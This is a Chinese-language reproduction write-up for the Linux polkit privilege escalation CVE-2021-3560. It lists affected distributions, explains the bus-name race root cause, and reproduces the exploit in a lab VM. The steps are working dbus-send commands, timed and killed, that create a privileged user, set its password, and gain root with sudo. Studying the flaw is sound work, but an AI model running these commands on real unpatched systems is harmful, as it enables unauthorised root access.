一、漏洞名称:
Linux Polkit权限提升漏洞
二、漏洞编号:
CVE-2021-3560
三、漏洞描述:
由于linux的polkit组件错误处理了异常情况,导致权限提升。该漏洞能够使普通用户获取到root权限。
四、影响版本:
目前已知的版本情况。
Distribution | Vulnerable? |
---|
RHEL 7 | No | RHEL 8 | Yes | Fedora 20 (or earlier) | No | Fedora 21 (or later) | Yes | Debian 10 (“buster”) | No | Debian testing (“bullseye”) | Yes | Ubuntu 18.04 | No | Ubuntu 20.04 | Yes |
五、漏洞分析
当一个命令被发送到目标程序处理时,消息发送方会被分配一个唯一总线名称(感觉有点像sessionid的意思)。当需要polkit去做权限校验时,polkit会通过唯一总线名称去查询命令发送方的UID,如果此时唯一总线名称已经不存在了,polkit错误的处理了这种情况,默认UID为0即root用户的UID。
六、实验环境及准备:
RHEL8/unbuntu20.04.2虚拟机
七、复现步骤:
以普通用户登录系统 当前系统不存在boris用户 先ssh localhost查看命令执行需要的真实时间
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1
取个中间值0.025s进行中断,多执行几次确保成功
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.025s ; kill $!
确认boris用户新建成功 注意:记住这边的uid,用于更换创建密码命令中的uid值。
同样的方法去设置密码,前提是生成密码的hash值(test就是密码)
openssl passwd -5 test
将生成的hash值替换到下面的命令中,同样先看下命令实际运行需要时间,然后取半
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$5$geGliwuzqzj8Kt8A$bldvU0ZBN.hEnK.MtlWDG1q9A8nnkJ422mJcPZP1Nz.' string:GoldenEye & sleep 0.0015s ; kill $!
boris用户创建成功,密码是test
sudo su 提权
提权成功!
|